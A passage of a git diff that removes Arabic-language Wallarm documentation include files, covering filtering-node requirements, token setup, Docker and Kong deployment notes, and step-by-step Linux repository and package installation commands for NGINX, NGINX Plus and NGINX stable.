الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com` عند العمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` عند العمل مع سحابة Wallarm الأوروبية. الرجاء التأكد من عدم حظر الوصول بواسطة جدار ناري -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" diff --git a/include-ar/waf/installation/docker-images/nginx-based-use-cases.md b/include-ar/waf/installation/docker-images/nginx-based-use-cases.md deleted file mode 100644 index 6456cc6291..0000000000 --- a/include-ar/waf/installation/docker-images/nginx-based-use-cases.md +++ /dev/null @@ -1,6 +0,0 @@ -بين جميع [خيارات توزيع Wallarm][platform] المدعومة، يُنصح بصورة Docker المستندة إلى NGINX لتوزيع Wallarm في هذه **حالات الاستخدام**: - -* إذا كانت منظمتك تستخدم بنية Docker، فصورة Docker الخاصة بـ Wallarm هي الخيار الأمثل. تندمج بسلاسة في إعدادك الحالي، سواء كنت تستخدم بنية ميكروخدمات تعمل على AWS ECS، Alibaba ECS، أو خدمات مماثلة أخرى. تنطبق هذه الحلول أيضًا على الذين يستخدمون الآلات الافتراضية الباحثين عن إدارة أكثر سهولة من خلال حاويات Docker. -* إذا كنت تتطلب التحكم الدقيق بكل حاوية، تتميز صورة Docker. إنها توفر مستوى أعلى من عزل الموارد مما هو ممكن عادة مع توزيعات الآلات الافتراضية التقليدية. - -لمزيد من المعلومات حول تشغيل صورة Docker المستندة إلى NGINX الخاصة بـ Wallarm على خدمات توزيع الحاويات السحابية العامة الشهيرة، راجع أدلتنا: [AWS ECS][aws-ecs-docs]، [GCP GCE][gcp-gce-docs]، [Azure Container Instances][azure-container-docs]، [Alibaba ECS][alibaba-ecs-docs]. \ No newline at end of file diff --git a/include-ar/waf/installation/docker-running-options.md b/include-ar/waf/installation/docker-running-options.md deleted file mode 100644 index 1eb001dd2f..0000000000 --- a/include-ar/waf/installation/docker-running-options.md +++ /dev/null @@ -1,4 +0,0 @@ -يجب إرسال معلمات تكوين عُقد التصفية إلى الحاوية المُنشرة لـ Docker بإحدى الطرق التالية: - -* **في المتغيرات البيئية**. تسمح هذه الخيار بتكوين معلمات عُقد التصفية الأساسية فقط. معظم [التوجيهات][nginx-waf-directives] لا يمكن تكوينها من خلال المتغيرات البيئية. -* **في الملف التكويني المُركب**. يسمح هذا الخيار بتكوين عُقد التصفية بشكل كامل من خلال أي [توجيهات][nginx-waf-directives]. مع هذه طريقة التكوين، يتم أيضا نقل متغيرات البيئة بمعلومات التكوين لعُقد التصفية واتصال Wallarm Cloud إلى الحاوية. \ No newline at end of file diff --git a/include-ar/waf/installation/get-api-or-node-token.md b/include-ar/waf/installation/get-api-or-node-token.md deleted file mode 100644 index ac671202d9..0000000000 --- a/include-ar/waf/installation/get-api-or-node-token.md +++ /dev/null @@ -1,14 +0,0 @@ -1. استخدم رمز Wallarm من [النوع المناسب][wallarm-token-types]: - - === "رمز API" - - 1. افتح واجهة Wallarm → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث عن رمز API مع دور المصدر `Deploy` أو أنشئ واحدًا. - 1. انسخ هذا الرمز. - - === "رمز العقدة" - - 1. افتح واجهة Wallarm → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. قم بإحدى الخطوات التالية: - * أنشئ عقدة من نوع **عقدة Wallarm** وانسخ الرمز المُنشأ. - * استخدم مجموعة العقد الموجودة - انسخ الرمز باستخدام قائمة العقدة → **نسخ الرمز**. \ No newline at end of file diff --git a/include-ar/waf/installation/info-about-nginx-version-in-docker-container.md b/include-ar/waf/installation/info-about-nginx-version-in-docker-container.md deleted file mode 100644 index 67c9011360..0000000000 --- a/include-ar/waf/installation/info-about-nginx-version-in-docker-container.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "إصدار NGINX في حاوية Docker" - تستخدم حاوية Docker إصدار `1.14.x` من NGINX. قد تكتشف بعض الثغرات الأمنية في هذا الإصدار من NGINX لكن في الواقع، تم إصلاح معظمها [بواسطة فريق Debian](https://security-tracker.debian.org/tracker/source-package/nginx). تعمل حاوية Docker بخدمات على Debian 10.x، لذا ينبغي ألا تؤدي الثغرات الأمنية المكتشفة إلى خرق البيانات. \ No newline at end of file diff --git a/include-ar/waf/installation/info-about-using-one-token-for-several-nodes.md b/include-ar/waf/installation/info-about-using-one-token-for-several-nodes.md deleted file mode 100644 index dfb15041bd..0000000000 --- a/include-ar/waf/installation/info-about-using-one-token-for-several-nodes.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "استخدام رمز واحد لعدة تثبيتات" - يمكنك استخدام رمز واحد في عدة تثبيتات بغض النظر عن ال[منصة][deployment-platform-docs] المختارة. يسمح ذلك بتجميع منطقي لمثيلات العقد في واجهة مستخدم Wallarm Console. مثال: تقوم بنشر عدة عقد Wallarm إلى بيئة تطوير، كل عقدة على جهاز خاص بها يملكه مطور معين. \ No newline at end of file diff --git a/include-ar/waf/installation/kong-ingress-controller-reqs.md b/include-ar/waf/installation/kong-ingress-controller-reqs.md deleted file mode 100644 index a8a839f039..0000000000 --- a/include-ar/waf/installation/kong-ingress-controller-reqs.md +++ /dev/null @@ -1,11 +0,0 @@ -* إصدار منصة Kubernetes من 1.22 إلى 1.26 -* موارد K8s Ingress التي تقوم بتكوين Kong لتوجيه مكالمات API إلى الخدمات الدقيقة التي ترغب في حمايتها -* توافق موارد K8s Ingress مع Kong 3.1.x -* مدير الحزم [Helm v3](https://helm.sh/) -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية -* الوصول إلى `https://charts.wallarm.com` لإضافة مخططات Helm الخاصة بـ Wallarm -* الوصول إلى مستودعات Wallarm على Docker Hub `https://hub.docker.com/r/wallarm` -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* الوصول إلى الحساب بدور **المسؤول** في وحدة التحكم الخاصة بـ Wallarm لل[سحابة الأمريكية](https://us1.my.wallarm.com/) أو لل[سحابة الأوروبية](https://my.wallarm.com/) \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/common-customization-options.md b/include-ar/waf/installation/linux-packages/common-customization-options.md deleted file mode 100644 index e022ea0c66..0000000000 --- a/include-ar/waf/installation/linux-packages/common-customization-options.md +++ /dev/null @@ -1,6 +0,0 @@ -* [تخصيص الموارد لعقد Wallarm][memory-instr] -* [تسجيل متغيرات عقدة Wallarm][logging-instr] -* [استخدام موازن الحمل الخاص بخادم الوكيل خلف عقدة التصفية][proxy-balancer-instr] -* [تحديد زمن معالجة الطلب الواحد في الأمر `wallarm_process_time_limit`][process-time-limit-instr] -* [تحديد زمن انتظار رد الخادم في أمر NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [تحديد الحجم الأقصى للطلب في أمر NGINX `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro-4.6.md b/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro-4.6.md deleted file mode 100644 index 7e5044992e..0000000000 --- a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro-4.6.md +++ /dev/null @@ -1,86 +0,0 @@ -## 1. إضافة مستودعات Debian/CentOS - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` - -## 2. تنصيب NGINX مع حزم Wallarm - -تقوم الأمر بتنصيب الحزم التالية: - -* `nginx` لـ NGINX -* `libnginx-mod-http-wallarm` أو `nginx-mod-http-wallarm` لوحدة Wallarm NGINX -* `wallarm-node` لوحدة [postanalytics][install-postanalytics-docs]، قاعدة بيانات Tarantool وحزم Wallarm NGINX الإضافية - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` - -## 3. ربط وحدة Wallarm - -انسخ ملفات الإعداد لضبط النظام: - -=== "Debian" - ```bash - sudo cp /usr/share/doc/libnginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "CentOS" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "RHEL 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` - -## 4. ربط العقدة الفلترة بسحابة Wallarm - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md b/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md deleted file mode 100644 index a2783ea369..0000000000 --- a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md +++ /dev/null @@ -1,86 +0,0 @@ -## 1. إضافة مستودعات Debian/CentOS - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux وRocky Linux وOracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 2. تثبيت NGINX مع حزم Wallarm - -الأمر يثبّت الحزم التالية: - -* `nginx` لـ NGINX -* `libnginx-mod-http-wallarm` أو `nginx-mod-http-wallarm` لوحدة NGINX-Wallarm -* `wallarm-node` لوحدة [postanalytics][install-postanalytics-docs] وقاعدة بيانات Tarantool وحزم NGINX-Wallarm الإضافية - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "AlmaLinux وRocky Linux وOracle Linux 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` - -## 3. ربط وحدة Wallarm - -انسخ ملفات الإعداد لإعداد النظام: - -=== "Debian" - ```bash - sudo cp /usr/share/doc/libnginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "CentOS" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "AlmaLinux وRocky Linux وOracle Linux 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "RHEL 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` - -## 4. ربط العقدة التصفوية بـ Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus-4.6.md b/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus-4.6.md deleted file mode 100644 index 92d581a443..0000000000 --- a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus-4.6.md +++ /dev/null @@ -1,119 +0,0 @@ -## 1. تثبيت NGINX Plus والتبعيات - -لتثبيت NGINX Plus والتبعيات الخاصة به، استخدم [التعليمات الرسمية من NGINX](https://www.nginx.com/resources/admin-guide/installing-nginx-plus/). - -!!! info "تثبيت على Amazon Linux 2.0.2021x وأقل" - لتثبيت NGINX Plus على Amazon Linux 2.0.2021x وأقل، استخدم تعليمات CentOS 7. - -## 2. إضافة مستودعات Wallarm - -يتم تثبيت وتحديث عقدة Wallarm من مستودعات Wallarm. لإضافة المستودعات، استخدم الأوامر الخاصة بمنصتك: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` - -## 3. تثبيت حزم Wallarm - -الحزم التالية مطلوبة: - -* `nginx-plus-module-wallarm` لوحدة NGINX Plus-Wallarm -* `wallarm-node` لوحدة [postanalytics][install-postanalytics-instr]، قاعدة بيانات Tarantool، وحزم NGINX Plus-Wallarm الإضافية - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` - -## 4. ربط وحدة Wallarm - -1. افتح الملف `/etc/nginx/nginx.conf`: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. أضف الأمر التالي مباشرة بعد أمر `worker_processes`: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - مثال التكوين مع الأمر المضاف: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -3. انسخ ملفات الإعداد للنظام: - - ``` bash - sudo cp /usr/share/doc/nginx-plus-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. ربط العقدة الفلترة بـ Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md b/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md deleted file mode 100644 index 89537fc4df..0000000000 --- a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md +++ /dev/null @@ -1,119 +0,0 @@ -## 1. تثبيت NGINX Plus والاعتماديات - -استخدم هذه [التعليمات الرسمية من NGINX](https://www.nginx.com/resources/admin-guide/installing-nginx-plus/) لتثبيت NGINX Plus واعتمادياته. - -!!! info "التثبيت على Amazon Linux 2.0.2021x والإصدارات الأقل" - لتثبيت NGINX Plus على Amazon Linux 2.0.2021x والإصدارات الأقل، استخدم تعليمات CentOS 7. - -## 2. إضافة مستودعات Wallarm - -يتم تثبيت وتحديث عقدة Wallarm من خلال مستودعات Wallarm. لإضافة المستودعات، استخدم الأوامر لمنصتك: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x والإصدارات الأقل" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 3. تثبيت حزم Wallarm - -الحزم المطلوبة هي: - -* `nginx-plus-module-wallarm` لوحدة NGINX Plus-Wallarm -* `wallarm-node` لوحدة [postanalytics][install-postanalytics-instr]، قاعدة بيانات Tarantool، وحزم NGINX Plus-Wallarm الإضافية - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "CentOS أو Amazon Linux 2.0.2021x والإصدارات الأقل" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` - -## 4. ربط وحدة Wallarm - -1. افتح الملف `/etc/nginx/nginx.conf`: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. أضف الأمر التالي مباشرة بعد أمر `worker_processes`: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - مثال للتكوين مع إضافة الأمر: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -3. انسخ ملفات التكوين لإعداد النظام: - - ``` bash - sudo cp /usr/share/doc/nginx-plus-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. ربط عقدة التصفية بـ Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable-4.6.md b/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable-4.6.md deleted file mode 100644 index a84d99dc2d..0000000000 --- a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable-4.6.md +++ /dev/null @@ -1,197 +0,0 @@ -## 1. تثبيت NGINX مستقر والتبعيات - -هذه هي الخيارات التالية لتثبيت NGINX `stable` من مستودع NGINX: - -* التثبيت من الحزمة المبنية - - === "ديبيان" - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release debian-archive-keyring - echo "deb http://nginx.org/packages/debian `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fSsL https://nginx.org/keys/nginx_signing.key | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/nginx.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/nginx.gpg - sudo apt update - sudo apt -y install nginx - ``` - === "أوبونتو" - 1. تثبيت التبعيات المطلوبة لـ NGINX stable: - - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release - ``` - 1. قم بتثبيت NGINX stable: - - ```bash - echo "deb http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add - - sudo apt update - sudo apt -y install nginx - ``` - === "سنتوس أو أمازون لينكس 2.0.2021x وأقل" - - 1. إذا تمت إضافة مستودع EPEL في CentOS 7.x، من فضلك عطل التثبيت من NGINX مستقر من هذا المستودع عبر إضافة `exclude=nginx*` إلى الملف `/etc/yum.repos.d/epel.repo`. - - مثال على الملف الذي تغير `/etc/yum.repos.d/epel.repo`: - - ```bash - [epel] - name=Extra Packages for Enterprise Linux 7 - $basearch - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch - failovermethod=priority - enabled=1 - gpgcheck=1 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - exclude=nginx* - - [epel-debuginfo] - name=Extra Packages for Enterprise Linux 7 - $basearch - Debug - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch/debug - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - - [epel-source] - name=Extra Packages for Enterprise Linux 7 - $basearch - Source - #baseurl=http://download.fedoraproject.org/pub/epel/7/SRPMS - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-source-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - ``` - - 2. قم بتثبيت NGINX مستقر من المستودع الرسمي: - - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - -* تجميع الكود المصدري من الفرع `stable` من [مستودع NGINX](https://hg.nginx.org/pkg-oss/branches) والتثبيت بنفس الخيارات. - - !!! info "NGINX لـ AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - هذا هو الخيار الوحيد لتثبيت NGINX على AlmaLinux، Rocky Linux أو Oracle Linux 8.x. - -معلومات أكثر تفصيلاً حول تثبيت NGINX متوفرة في [التوثيق الرسمي لـ NGINX](https://www.nginx.com/resources/admin-guide/installing-nginx-open-source/). - -## 2. أضف مستودعات Wallarm - -يتم تثبيت عقدة Wallarm وتحديثها من مستودعات Wallarm. لإضافة المستودعات، استخدم الأوامر الخاصة بمنصتك: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - 